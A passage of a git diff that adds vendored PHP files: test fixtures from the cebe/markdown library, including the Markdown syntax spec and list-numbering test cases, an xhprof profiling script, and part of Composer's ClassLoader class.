    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/specs.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/specs.md new file mode 100644 index 00000000..b47c8ca0 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/specs.md @@ -0,0 +1,899 @@ +Markdown: Syntax +================ + + + + +* [Overview](#overview) + * [Philosophy](#philosophy) + * [Inline HTML](#html) + * [Automatic Escaping for Special Characters](#autoescape) +* [Block Elements](#block) + * [Paragraphs and Line Breaks](#p) + * [Headers](#header) + * [Blockquotes](#blockquote) + * [Lists](#list) + * [Code Blocks](#precode) + * [Horizontal Rules](#hr) +* [Span Elements](#span) + * [Links](#link) + * [Emphasis](#em) + * [Code](#code) + * [Images](#img) +* [Miscellaneous](#misc) + * [Backslash Escapes](#backslash) + * [Automatic Links](#autolink) + + +**Note:** This document is itself written using Markdown; you +can [see the source for it by adding '.text' to the URL][src]. + + [src]: /projects/markdown/syntax.text + +* * * + +

    Overview

    + +

    Philosophy

    + +Markdown is intended to be as easy-to-read and easy-to-write as is feasible. + +Readability, however, is emphasized above all else. A Markdown-formatted +document should be publishable as-is, as plain text, without looking +like it's been marked up with tags or formatting instructions. While +Markdown's syntax has been influenced by several existing text-to-HTML +filters -- including [Setext] [1], [atx] [2], [Textile] [3], [reStructuredText] [4], +[Grutatext] [5], and [EtText] [6] -- the single biggest source of +inspiration for Markdown's syntax is the format of plain text email. + + [1]: http://docutils.sourceforge.net/mirror/setext.html + [2]: http://www.aaronsw.com/2002/atx/ + [3]: http://textism.com/tools/textile/ + [4]: http://docutils.sourceforge.net/rst.html + [5]: http://www.triptico.com/software/grutatxt.html + [6]: http://ettext.taint.org/doc/ + +To this end, Markdown's syntax is comprised entirely of punctuation +characters, which punctuation characters have been carefully chosen so +as to look like what they mean. E.g., asterisks around a word actually +look like \*emphasis\*. Markdown lists look like, well, lists. Even +blockquotes look like quoted passages of text, assuming you've ever +used email. + + + +

    Inline HTML

    + +Markdown's syntax is intended for one purpose: to be used as a +format for *writing* for the web. + +Markdown is not a replacement for HTML, or even close to it. Its +syntax is very small, corresponding only to a very small subset of +HTML tags. The idea is *not* to create a syntax that makes it easier +to insert HTML tags. In my opinion, HTML tags are already easy to +insert. The idea for Markdown is to make it easy to read, write, and +edit prose. HTML is a *publishing* format; Markdown is a *writing* +format. Thus, Markdown's formatting syntax only addresses issues that +can be conveyed in plain text. + +For any markup that is not covered by Markdown's syntax, you simply +use HTML itself. There's no need to preface it or delimit it to +indicate that you're switching from Markdown to HTML; you just use +the tags. + +The only restrictions are that block-level HTML elements -- e.g. `
    `, +``, `
    `, `

    `, etc. -- must be separated from surrounding +content by blank lines, and the start and end tags of the block should +not be indented with tabs or spaces. Markdown is smart enough not +to add extra (unwanted) `

    ` tags around HTML block-level tags. + +For example, to add an HTML table to a Markdown article: + + This is a regular paragraph. + +

    + + + +
    Foo
    + + This is another regular paragraph. + +Note that Markdown formatting syntax is not processed within block-level +HTML tags. E.g., you can't use Markdown-style `*emphasis*` inside an +HTML block. + +Span-level HTML tags -- e.g. ``, ``, or `` -- can be +used anywhere in a Markdown paragraph, list item, or header. If you +want, you can even use HTML tags instead of Markdown formatting; e.g. if +you'd prefer to use HTML `` or `` tags instead of Markdown's +link or image syntax, go right ahead. + +Unlike block-level HTML tags, Markdown syntax *is* processed within +span-level tags. + + +

    Automatic Escaping for Special Characters

    + +In HTML, there are two characters that demand special treatment: `<` +and `&`. Left angle brackets are used to start tags; ampersands are +used to denote HTML entities. If you want to use them as literal +characters, you must escape them as entities, e.g. `<`, and +`&`. + +Ampersands in particular are bedeviling for web writers. If you want to +write about 'AT&T', you need to write '`AT&T`'. You even need to +escape ampersands within URLs. Thus, if you want to link to: + + http://images.google.com/images?num=30&q=larry+bird + +you need to encode the URL as: + + http://images.google.com/images?num=30&q=larry+bird + +in your anchor tag `href` attribute. Needless to say, this is easy to +forget, and is probably the single most common source of HTML validation +errors in otherwise well-marked-up web sites. + +Markdown allows you to use these characters naturally, taking care of +all the necessary escaping for you. If you use an ampersand as part of +an HTML entity, it remains unchanged; otherwise it will be translated +into `&`. + +So, if you want to include a copyright symbol in your article, you can write: + + © + +and Markdown will leave it alone. But if you write: + + AT&T + +Markdown will translate it to: + + AT&T + +Similarly, because Markdown supports [inline HTML](#html), if you use +angle brackets as delimiters for HTML tags, Markdown will treat them as +such. But if you write: + + 4 < 5 + +Markdown will translate it to: + + 4 < 5 + +However, inside Markdown code spans and blocks, angle brackets and +ampersands are *always* encoded automatically. This makes it easy to use +Markdown to write about HTML code. (As opposed to raw HTML, which is a +terrible format for writing about HTML syntax, because every single `<` +and `&` in your example code needs to be escaped.) + + +* * * + + +

    Block Elements

    + + +

    Paragraphs and Line Breaks

    + +A paragraph is simply one or more consecutive lines of text, separated +by one or more blank lines. (A blank line is any line that looks like a +blank line -- a line containing nothing but spaces or tabs is considered +blank.) Normal paragraphs should not be indented with spaces or tabs. + +The implication of the "one or more consecutive lines of text" rule is +that Markdown supports "hard-wrapped" text paragraphs. This differs +significantly from most other text-to-HTML formatters (including Movable +Type's "Convert Line Breaks" option) which translate every line break +character in a paragraph into a `
    ` tag. + +When you *do* want to insert a `
    ` break tag using Markdown, you +end a line with two or more spaces, then type return. + +Yes, this takes a tad more effort to create a `
    `, but a simplistic +"every line break is a `
    `" rule wouldn't work for Markdown. +Markdown's email-style [blockquoting][bq] and multi-paragraph [list items][l] +work best -- and look better -- when you format them with hard breaks. + + [bq]: #blockquote + [l]: #list + + + + + +Markdown supports two styles of headers, [Setext] [1] and [atx] [2]. + +Setext-style headers are "underlined" using equal signs (for first-level +headers) and dashes (for second-level headers). For example: + + This is an H1 + ============= + + This is an H2 + ------------- + +Any number of underlining `=`'s or `-`'s will work. + +Atx-style headers use 1-6 hash characters at the start of the line, +corresponding to header levels 1-6. For example: + + # This is an H1 + + ## This is an H2 + + ###### This is an H6 + +Optionally, you may "close" atx-style headers. This is purely +cosmetic -- you can use this if you think it looks better. The +closing hashes don't even need to match the number of hashes +used to open the header. (The number of opening hashes +determines the header level.) : + + # This is an H1 # + + ## This is an H2 ## + + ### This is an H3 ###### + + +

    Blockquotes

    + +Markdown uses email-style `>` characters for blockquoting. If you're +familiar with quoting passages of text in an email message, then you +know how to create a blockquote in Markdown. It looks best if you hard +wrap the text and put a `>` before every line: + + > This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, + > consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. + > Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. + > + > Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse + > id sem consectetuer libero luctus adipiscing. + +Markdown allows you to be lazy and only put the `>` before the first +line of a hard-wrapped paragraph: + + > This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, + consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. + Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. + + > Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse + id sem consectetuer libero luctus adipiscing. + +Blockquotes can be nested (i.e. a blockquote-in-a-blockquote) by +adding additional levels of `>`: + + > This is the first level of quoting. + > + > > This is nested blockquote. + > + > Back to the first level. + +Blockquotes can contain other Markdown elements, including headers, lists, +and code blocks: + + > ## This is a header. + > + > 1. This is the first list item. + > 2. This is the second list item. + > + > Here's some example code: + > + > return shell_exec("echo $input | $markdown_script"); + +Any decent text editor should make email-style quoting easy. For +example, with BBEdit, you can make a selection and choose Increase +Quote Level from the Text menu. + + +

    Lists

    + +Markdown supports ordered (numbered) and unordered (bulleted) lists. + +Unordered lists use asterisks, pluses, and hyphens -- interchangably +-- as list markers: + + * Red + * Green + * Blue + +is equivalent to: + + + Red + + Green + + Blue + +and: + + - Red + - Green + - Blue + +Ordered lists use numbers followed by periods: + + 1. Bird + 2. McHale + 3. Parish + +It's important to note that the actual numbers you use to mark the +list have no effect on the HTML output Markdown produces. The HTML +Markdown produces from the above list is: + +
      +
    1. Bird
    2. +
    3. McHale
    4. +
    5. Parish
    6. +
    + +If you instead wrote the list in Markdown like this: + + 1. Bird + 1. McHale + 1. Parish + +or even: + + 3. Bird + 1. McHale + 8. Parish + +you'd get the exact same HTML output. The point is, if you want to, +you can use ordinal numbers in your ordered Markdown lists, so that +the numbers in your source match the numbers in your published HTML. +But if you want to be lazy, you don't have to. + +If you do use lazy list numbering, however, you should still start the +list with the number 1. At some point in the future, Markdown may support +starting ordered lists at an arbitrary number. + +List markers typically start at the left margin, but may be indented by +up to three spaces. List markers must be followed by one or more spaces +or a tab. + +To make lists look nice, you can wrap items with hanging indents: + + * Lorem ipsum dolor sit amet, consectetuer adipiscing elit. + Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, + viverra nec, fringilla in, laoreet vitae, risus. + * Donec sit amet nisl. Aliquam semper ipsum sit amet velit. + Suspendisse id sem consectetuer libero luctus adipiscing. + +But if you want to be lazy, you don't have to: + + * Lorem ipsum dolor sit amet, consectetuer adipiscing elit. + Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, + viverra nec, fringilla in, laoreet vitae, risus. + * Donec sit amet nisl. Aliquam semper ipsum sit amet velit. + Suspendisse id sem consectetuer libero luctus adipiscing. + +If list items are separated by blank lines, Markdown will wrap the +items in `

    ` tags in the HTML output. For example, this input: + + * Bird + * Magic + +will turn into: + +

      +
    • Bird
    • +
    • Magic
    • +
    + +But this: + + * Bird + + * Magic + +will turn into: + +
      +
    • Bird

    • +
    • Magic

    • +
    + +List items may consist of multiple paragraphs. Each subsequent +paragraph in a list item must be indented by either 4 spaces +or one tab: + + 1. This is a list item with two paragraphs. Lorem ipsum dolor + sit amet, consectetuer adipiscing elit. Aliquam hendrerit + mi posuere lectus. + + Vestibulum enim wisi, viverra nec, fringilla in, laoreet + vitae, risus. Donec sit amet nisl. Aliquam semper ipsum + sit amet velit. + + 2. Suspendisse id sem consectetuer libero luctus adipiscing. + +It looks nice if you indent every line of the subsequent +paragraphs, but here again, Markdown will allow you to be +lazy: + + * This is a list item with two paragraphs. + + This is the second paragraph in the list item. You're + only required to indent the first line. Lorem ipsum dolor + sit amet, consectetuer adipiscing elit. + + * Another item in the same list. + +To put a blockquote within a list item, the blockquote's `>` +delimiters need to be indented: + + * A list item with a blockquote: + + > This is a blockquote + > inside a list item. + +To put a code block within a list item, the code block needs +to be indented *twice* -- 8 spaces or two tabs: + + * A list item with a code block: + + + + +It's worth noting that it's possible to trigger an ordered list by +accident, by writing something like this: + + 1986. What a great season. + +In other words, a *number-period-space* sequence at the beginning of a +line. To avoid this, you can backslash-escape the period: + + 1986\. What a great season. + + + +

    Code Blocks

    + +Pre-formatted code blocks are used for writing about programming or +markup source code. Rather than forming normal paragraphs, the lines +of a code block are interpreted literally. Markdown wraps a code block +in both `
    ` and `` tags.
    +
    +To produce a code block in Markdown, simply indent every line of the
    +block by at least 4 spaces or 1 tab. For example, given this input:
    +
    +    This is a normal paragraph:
    +
    +        This is a code block.
    +
    +Markdown will generate:
    +
    +    

    This is a normal paragraph:

    + +
    This is a code block.
    +    
    + +One level of indentation -- 4 spaces or 1 tab -- is removed from each +line of the code block. For example, this: + + Here is an example of AppleScript: + + tell application "Foo" + beep + end tell + +will turn into: + +

    Here is an example of AppleScript:

    + +
    tell application "Foo"
    +        beep
    +    end tell
    +    
    + +A code block continues until it reaches a line that is not indented +(or the end of the article). + +Within a code block, ampersands (`&`) and angle brackets (`<` and `>`) +are automatically converted into HTML entities. This makes it very +easy to include example HTML source code using Markdown -- just paste +it and indent it, and Markdown will handle the hassle of encoding the +ampersands and angle brackets. For example, this: + + + +will turn into: + +
    <div class="footer">
    +        &copy; 2004 Foo Corporation
    +    </div>
    +    
    + +Regular Markdown syntax is not processed within code blocks. E.g., +asterisks are just literal asterisks within a code block. This means +it's also easy to use Markdown to write about Markdown's own syntax. + + + +

    Horizontal Rules

    + +You can produce a horizontal rule tag (`
    `) by placing three or +more hyphens, asterisks, or underscores on a line by themselves. If you +wish, you may use spaces between the hyphens or asterisks. Each of the +following lines will produce a horizontal rule: + + * * * + + *** + + ***** + + - - - + + --------------------------------------- + + _ _ _ + + +* * * + +

    Span Elements

    + + + +Markdown supports two style of links: *inline* and *reference*. + +In both styles, the link text is delimited by [square brackets]. + +To create an inline link, use a set of regular parentheses immediately +after the link text's closing square bracket. Inside the parentheses, +put the URL where you want the link to point, along with an *optional* +title for the link, surrounded in quotes. For example: + + This is [an example](http://example.com/ "Title") inline link. + + [This link](http://example.net/) has no title attribute. + +Will produce: + +

    This is + an example inline link.

    + +

    This link has no + title attribute.

    + +If you're referring to a local resource on the same server, you can +use relative paths: + + See my [About](/about/) page for details. + +Reference-style links use a second set of square brackets, inside +which you place a label of your choosing to identify the link: + + This is [an example][id] reference-style link. + +You can optionally use a space to separate the sets of brackets: + + This is [an example] [id] reference-style link. + +Then, anywhere in the document, you define your link label like this, +on a line by itself: + + [id]: http://example.com/ "Optional Title Here" + +That is: + +* Square brackets containing the link identifier (optionally + indented from the left margin using up to three spaces); +* followed by a colon; +* followed by one or more spaces (or tabs); +* followed by the URL for the link; +* optionally followed by a title attribute for the link, enclosed + in double or single quotes, or enclosed in parentheses. + +The following three link definitions are equivalent: + + [foo]: http://example.com/ "Optional Title Here" + [foo]: http://example.com/ 'Optional Title Here' + [foo]: http://example.com/ (Optional Title Here) + +**Note:** There is a known bug in Markdown.pl 1.0.1 which prevents +single quotes from being used to delimit link titles. + +The link URL may, optionally, be surrounded by angle brackets: + + [id]: "Optional Title Here" + +You can put the title attribute on the next line and use extra spaces +or tabs for padding, which tends to look better with longer URLs: + + [id]: http://example.com/longish/path/to/resource/here + "Optional Title Here" + +Link definitions are only used for creating links during Markdown +processing, and are stripped from your document in the HTML output. + +Link definition names may consist of letters, numbers, spaces, and +punctuation -- but they are *not* case sensitive. E.g. these two +links: + + [link text][a] + [link text][A] + +are equivalent. + +The *implicit link name* shortcut allows you to omit the name of the +link, in which case the link text itself is used as the name. +Just use an empty set of square brackets -- e.g., to link the word +"Google" to the google.com web site, you could simply write: + + [Google][] + +And then define the link: + + [Google]: http://google.com/ + +Because link names may contain spaces, this shortcut even works for +multiple words in the link text: + + Visit [Daring Fireball][] for more information. + +And then define the link: + + [Daring Fireball]: http://daringfireball.net/ + +Link definitions can be placed anywhere in your Markdown document. I +tend to put them immediately after each paragraph in which they're +used, but if you want, you can put them all at the end of your +document, sort of like footnotes. + +Here's an example of reference links in action: + + I get 10 times more traffic from [Google] [1] than from + [Yahoo] [2] or [MSN] [3]. + + [1]: http://google.com/ "Google" + [2]: http://search.yahoo.com/ "Yahoo Search" + [3]: http://search.msn.com/ "MSN Search" + +Using the implicit link name shortcut, you could instead write: + + I get 10 times more traffic from [Google][] than from + [Yahoo][] or [MSN][]. + + [google]: http://google.com/ "Google" + [yahoo]: http://search.yahoo.com/ "Yahoo Search" + [msn]: http://search.msn.com/ "MSN Search" + +Both of the above examples will produce the following HTML output: + +

    I get 10 times more traffic from Google than from + Yahoo + or MSN.

    + +For comparison, here is the same paragraph written using +Markdown's inline link style: + + I get 10 times more traffic from [Google](http://google.com/ "Google") + than from [Yahoo](http://search.yahoo.com/ "Yahoo Search") or + [MSN](http://search.msn.com/ "MSN Search"). + +The point of reference-style links is not that they're easier to +write. The point is that with reference-style links, your document +source is vastly more readable. Compare the above examples: using +reference-style links, the paragraph itself is only 81 characters +long; with inline-style links, it's 176 characters; and as raw HTML, +it's 234 characters. In the raw HTML, there's more markup than there +is text. + +With Markdown's reference-style links, a source document much more +closely resembles the final output, as rendered in a browser. By +allowing you to move the markup-related metadata out of the paragraph, +you can add links without interrupting the narrative flow of your +prose. + + +

    Emphasis

    + +Markdown treats asterisks (`*`) and underscores (`_`) as indicators of +emphasis. Text wrapped with one `*` or `_` will be wrapped with an +HTML `` tag; double `*`'s or `_`'s will be wrapped with an HTML +`` tag. E.g., this input: + + *single asterisks* + + _single underscores_ + + **double asterisks** + + __double underscores__ + +will produce: + + single asterisks + + single underscores + + double asterisks + + double underscores + +You can use whichever style you prefer; the lone restriction is that +the same character must be used to open and close an emphasis span. + +Emphasis can be used in the middle of a word: + + un*frigging*believable + +But if you surround an `*` or `_` with spaces, it'll be treated as a +literal asterisk or underscore. + +To produce a literal asterisk or underscore at a position where it +would otherwise be used as an emphasis delimiter, you can backslash +escape it: + + \*this text is surrounded by literal asterisks\* + + + +

    Code

    + +To indicate a span of code, wrap it with backtick quotes (`` ` ``). +Unlike a pre-formatted code block, a code span indicates code within a +normal paragraph. For example: + + Use the `printf()` function. + +will produce: + +

    Use the printf() function.

    + +To include a literal backtick character within a code span, you can use +multiple backticks as the opening and closing delimiters: + + ``There is a literal backtick (`) here.`` + +which will produce this: + +

    There is a literal backtick (`) here.

    + +The backtick delimiters surrounding a code span may include spaces -- +one after the opening, one before the closing. This allows you to place +literal backtick characters at the beginning or end of a code span: + + A single backtick in a code span: `` ` `` + + A backtick-delimited string in a code span: `` `foo` `` + +will produce: + +

    A single backtick in a code span: `

    + +

    A backtick-delimited string in a code span: `foo`

    + +With a code span, ampersands and angle brackets are encoded as HTML +entities automatically, which makes it easy to include example HTML +tags. Markdown will turn this: + + Please don't use any `` tags. + +into: + +

    Please don't use any <blink> tags.

    + +You can write this: + + `—` is the decimal-encoded equivalent of `—`. + +to produce: + +

    &#8212; is the decimal-encoded + equivalent of &mdash;.

    + + + +

    Images

    + +Admittedly, it's fairly difficult to devise a "natural" syntax for +placing images into a plain text document format. + +Markdown uses an image syntax that is intended to resemble the syntax +for links, allowing for two styles: *inline* and *reference*. + +Inline image syntax looks like this: + + ![Alt text](/path/to/img.jpg) + + ![Alt text](/path/to/img.jpg "Optional title") + +That is: + +* An exclamation mark: `!`; +* followed by a set of square brackets, containing the `alt` + attribute text for the image; +* followed by a set of parentheses, containing the URL or path to + the image, and an optional `title` attribute enclosed in double + or single quotes. + +Reference-style image syntax looks like this: + + ![Alt text][id] + +Where "id" is the name of a defined image reference. Image references +are defined using syntax identical to link references: + + [id]: url/to/image "Optional title attribute" + +As of this writing, Markdown has no syntax for specifying the +dimensions of an image; if this is important to you, you can simply +use regular HTML `` tags. + + +* * * + + +

    Miscellaneous

    + + + +Markdown supports a shortcut style for creating "automatic" links for URLs and email addresses: simply surround the URL or email address with angle brackets. What this means is that if you want to show the actual text of a URL or email address, and also have it be a clickable link, you can do this: + + + +Markdown will turn this into: + + http://example.com/ + +Automatic links for email addresses work similarly, except that +Markdown will also perform a bit of randomized decimal and hex +entity-encoding to help obscure your address from address-harvesting +spambots. For example, Markdown will turn this: + + + +into something like this: + + address@exa + mple.com + +which will render in a browser as a clickable link to "address@example.com". + +(This sort of entity-encoding trick will indeed fool many, if not +most, address-harvesting bots, but it definitely won't fool all of +them. It's better than nothing, but an address published in this way +will probably eventually start receiving spam.) + + + +

    Backslash Escapes

    + +Markdown allows you to use backslash escapes to generate literal +characters which would otherwise have special meaning in Markdown's +formatting syntax. For example, if you wanted to surround a word +with literal asterisks (instead of an HTML `` tag), you can use +backslashes before the asterisks, like this: + + \*literal asterisks\* + +Markdown provides backslash escapes for the following characters: + + \ backslash + ` backtick + * asterisk + _ underscore + {} curly braces + [] square brackets + () parentheses + # hash mark + + plus sign + - minus sign (hyphen) + . dot + ! exclamation mark + diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/test_precedence.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/test_precedence.html new file mode 100644 index 00000000..897d75e2 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/test_precedence.html @@ -0,0 +1,5 @@ +

    Not a headline but two HR:

    +
    +
    +
    +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/test_precedence.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/test_precedence.md new file mode 100644 index 00000000..bab435b3 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/test_precedence.md @@ -0,0 +1,8 @@ +Not a headline but two HR: + +*** +--- + +--- +*** + diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-ol-start-num-data/list.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-ol-start-num-data/list.html new file mode 100644 index 00000000..8a21b776 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-ol-start-num-data/list.html @@ -0,0 +1,23 @@ +
      +
    1. item1, num1
    2. +
    3. item2, num2
    4. +
    5. item3, num3
    6. +
    +
    +
      +
    1. item1, num3
    2. +
    3. item2, num4
    4. +
    5. item3, num5
    6. +
    +
    +
      +
    1. item1, num4
    2. +
    3. item2, num5
    4. +
    5. item3, num6
    6. +
    +
    +
      +
    1. item1, num5
    2. +
    3. item2, num6
    4. +
    5. item3, num7
    6. +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-ol-start-num-data/list.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-ol-start-num-data/list.md new file mode 100644 index 00000000..623b0dab --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-ol-start-num-data/list.md @@ -0,0 +1,21 @@ +1. item1, num1 +2. item2, num2 +4. item3, num3 + +--- + +3. item1, num3 +12. item2, num4 +125. item3, num5 + +--- + +4. item1, num4 +12. item2, num5 +125. item3, num6 + +--- + + 5. item1, num5 + 12. item2, num6 +125. item3, num7 \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-ol-start-num-data/md1_ordered_and_unordered_lists.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-ol-start-num-data/md1_ordered_and_unordered_lists.html new file mode 100644 index 00000000..18def7e3 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-ol-start-num-data/md1_ordered_and_unordered_lists.html @@ -0,0 +1,66 @@ +

    Ordered, start's with 4

    +

    Tight:

    +
      +
    1. Four
    2. +
    3. Five
    4. +
    +

    and:

    +
      +
    1. Four
    2. +
    3. Five
    4. +
    5. Six
    6. +
    +

    Loose using tabs, start's with 5:

    +
      +
    1. Five

      +
    2. +
    3. Six

      +
    4. +
    5. Seven

      +
    6. +
    +

    and using spaces:

    +
      +
    1. Five

      +
    2. +
    3. Six

      +
    4. +
    5. Seven

      +
    6. +
    +

    Multiple paragraphs, start's with 5:

    +
      +
    1. Item 1, graf one.

      +

      Item 2. graf two. The quick brown fox jumped over the lazy dog's +back.

      +
    2. +
    3. Item 2.

      +
    4. +
    5. Item 3.

      +
    6. +
    +

    Nested, start's with 5

    +
      +
    1. Five
    2. +
    3. Six:
        +
      • Fee
      • +
      • Fie
      • +
      • Foe
      • +
      +
    4. +
    5. Seven
    6. +
    +

    Same thing but with paragraphs:

    +
      +
    1. Five

      +
    2. +
    3. Six:

      +
        +
      • Fee
      • +
      • Fie
      • +
      • Foe
      • +
      +
    4. +
    5. Seven

      +
    6. +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-ol-start-num-data/md1_ordered_and_unordered_lists.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-ol-start-num-data/md1_ordered_and_unordered_lists.md new file mode 100644 index 00000000..569beaff --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-ol-start-num-data/md1_ordered_and_unordered_lists.md @@ -0,0 +1,62 @@ +## Ordered, start's with 4 + +Tight: + +4. Four +5. Five + +and: + +4. Four +5. Five +6. Six + + +Loose using tabs, start's with 5: + +5. Five + +6. Six + +7. Seven + +and using spaces: + +5. Five + +6. Six + +7. Seven + +Multiple paragraphs, start's with 5: + +5. Item 1, graf one. + + Item 2. graf two. The quick brown fox jumped over the lazy dog's + back. + +6. Item 2. + +7. Item 3. + +## Nested, start's with 5 + +5. Five +6. Six: + * Fee + * Fie + * Foe +7. Seven + +Same thing but with paragraphs: + +5. Five + +6. Six: + + * Fee + * Fie + * Foe + +7. Seven + diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/profile.php b/php/yii2/basic/vendor/cebe/markdown/tests/profile.php new file mode 100644 index 00000000..7888d873 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/profile.php @@ -0,0 +1,31 @@ +parse($markdown); +} + +$xhprof_data = xhprof_disable(); + +$XHPROF_ROOT = __DIR__ . '/../vendor/facebook/xhprof/'; +include_once $XHPROF_ROOT . '/xhprof_lib/utils/xhprof_lib.php'; +include_once $XHPROF_ROOT . '/xhprof_lib/utils/xhprof_runs.php'; + +$xhprof_runs = new XHProfRuns_Default(); +$run_id = $xhprof_runs->save_run($xhprof_data, "xhprof_testing"); + +echo "http://localhost/xhprof/xhprof_html/index.php?run={$run_id}&source=xhprof_testing\n"; diff --git a/php/yii2/basic/vendor/composer/ClassLoader.php b/php/yii2/basic/vendor/composer/ClassLoader.php new file mode 100644 index 00000000..44336495 --- /dev/null +++ b/php/yii2/basic/vendor/composer/ClassLoader.php @@ -0,0 +1,383 @@ + + * Jordi Boggiano + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Composer\Autoload; + +/** + * ClassLoader implements a PSR-0 class loader + * + * See https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-0.md + * + * $loader = new \Composer\Autoload\ClassLoader(); + * + * // register classes with namespaces + * $loader->add('Symfony\Component', __DIR__.'/component'); + * $loader->add('Symfony', __DIR__.'/framework'); + * + * // activate the autoloader + * $loader->register(); + * + * // to enable searching the include path (eg. for PEAR packages) + * $loader->setUseIncludePath(true); + * + * In this example, if you try to use a class in the Symfony\Component + * namespace or one of its children (Symfony\Component\Console for instance), + * the autoloader will first look for the class under the component/ + * directory, and it will then fallback to the framework/ directory if not + * found before giving up. + * + * This class is loosely based on the Symfony UniversalClassLoader. + * + * @author Fabien Potencier + * @author Jordi Boggiano + */ +class ClassLoader +{ + // PSR-4 + private $prefixLengthsPsr4 = array(); + private $prefixDirsPsr4 = array(); + private $fallbackDirsPsr4 = array(); + + // PSR-0 + private $prefixesPsr0 = array(); + private $fallbackDirsPsr0 = array(); + + private $useIncludePath = false; + private $classMap = array(); + + public function getPrefixes() + { + return call_user_func_array('array_merge', $this->prefixesPsr0); + } + + public function getPrefixesPsr4() + { + return $this->prefixDirsPsr4; + } + + public function getFallbackDirs() + { + return $this->fallbackDirsPsr0; + } + + public function getFallbackDirsPsr4() + { + return $this->fallbackDirsPsr4; + } + + public function getClassMap() + { + return $this->classMap; + } + + /** + * @param array $classMap Class to filename map + */ + public function addClassMap(array $classMap) + { + if ($this->classMap) { + $this->classMap = array_merge($this->classMap, $classMap); + } else { + $this->classMap = $classMap; + } + } + + /** + * Registers a set of PSR-0 directories for a given prefix, either + * appending or prepending to the ones previously set for this prefix. + * + * @param string $prefix The prefix + * @param array|string $paths The PSR-0 root directories + * @param bool $prepend Whether to prepend the directories + */ + public function add($prefix, $paths, $prepend = false) + { + if (!$prefix) { + if ($prepend) { + $this->fallbackDirsPsr0 = array_merge( + (array) $paths, + $this->fallbackDirsPsr0 + ); + } else { + $this->fallbackDirsPsr0 = array_merge( + $this->fallbackDirsPsr0, + (array) $paths + ); + } + + return; + } + + $first = $prefix[0]; + if (!isset($this->prefixesPsr0[$first][$prefix])) { + $this->prefixesPsr0[$first][$prefix] = (array) $paths; + + return; + } + if ($prepend) { + $this->prefixesPsr0[$first][$prefix] = array_merge( + (array) $paths, + $this->prefixesPsr0[$first][$prefix] + ); + } else { + $this->prefixesPsr0[$first][$prefix] = array_merge( + $this->prefixesPsr0[$first][$prefix], + (array) $paths + ); + } + } + + /** + * Registers a set of PSR-4 directories for a given namespace, either + * appending or prepending to the ones previously set for this namespace. + * + * @param string $prefix The prefix/namespace, with trailing '\\' + * @param array|string $paths The PSR-0 base directories + * @param bool $prepend Whether to prepend the directories + * + * @throws \InvalidArgumentException + */ + public function addPsr4($prefix, $paths, $prepend = false) + { + if (!$prefix) { + // Register directories for the root namespace. + if ($prepend) { + $this->fallbackDirsPsr4 = array_merge( + (array) $paths, + $this->fallbackDirsPsr4 + ); + } else { + $this->fallbackDirsPsr4 = array_merge( + $this->fallbackDirsPsr4, + (array) $paths + ); + } + } elseif (!isset($this->prefixDirsPsr4[$prefix])) { + // Register directories for a new namespace. + $length = strlen($prefix); + if ('\\' !== $prefix[$length - 1]) { + throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); + } + $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; + $this->prefixDirsPsr4[$prefix] = (array) $paths; + } elseif ($prepend) { + // Prepend directories for an already registered namespace. + $this->prefixDirsPsr4[$prefix] = array_merge( + (array) $paths, + $this->prefixDirsPsr4[$prefix] + ); + } else { + // Append directories for an already registered namespace. + $this->prefixDirsPsr4[$prefix] = array_merge( + $this->prefixDirsPsr4[$prefix], + (array) $paths + ); + } + } + + /** + * Registers a set of PSR-0 directories for a given prefix, + * replacing any others previously set for this prefix. + * + * @param string $prefix The prefix + * @param array|string $paths The PSR-0 base directories + */ + public function set($prefix, $paths) + { + if (!$prefix) { + $this->fallbackDirsPsr0 = (array) $paths; + } else { + $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths; + } + } + + /** + * Registers a set of PSR-4 directories for a given namespace, + * replacing any others previously set for this namespace. + * + * @param string $prefix The prefix/namespace, with trailing '\\' + * @param array|string $paths The PSR-4 base directories + * + * @throws \InvalidArgumentException + */ + public function setPsr4($prefix, $paths) + { + if (!$prefix) { + $this->fallbackDirsPsr4 = (array) $paths; + } else { + $length = strlen($prefix); + if ('\\' !== $prefix[$length - 1]) { + throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); + } + 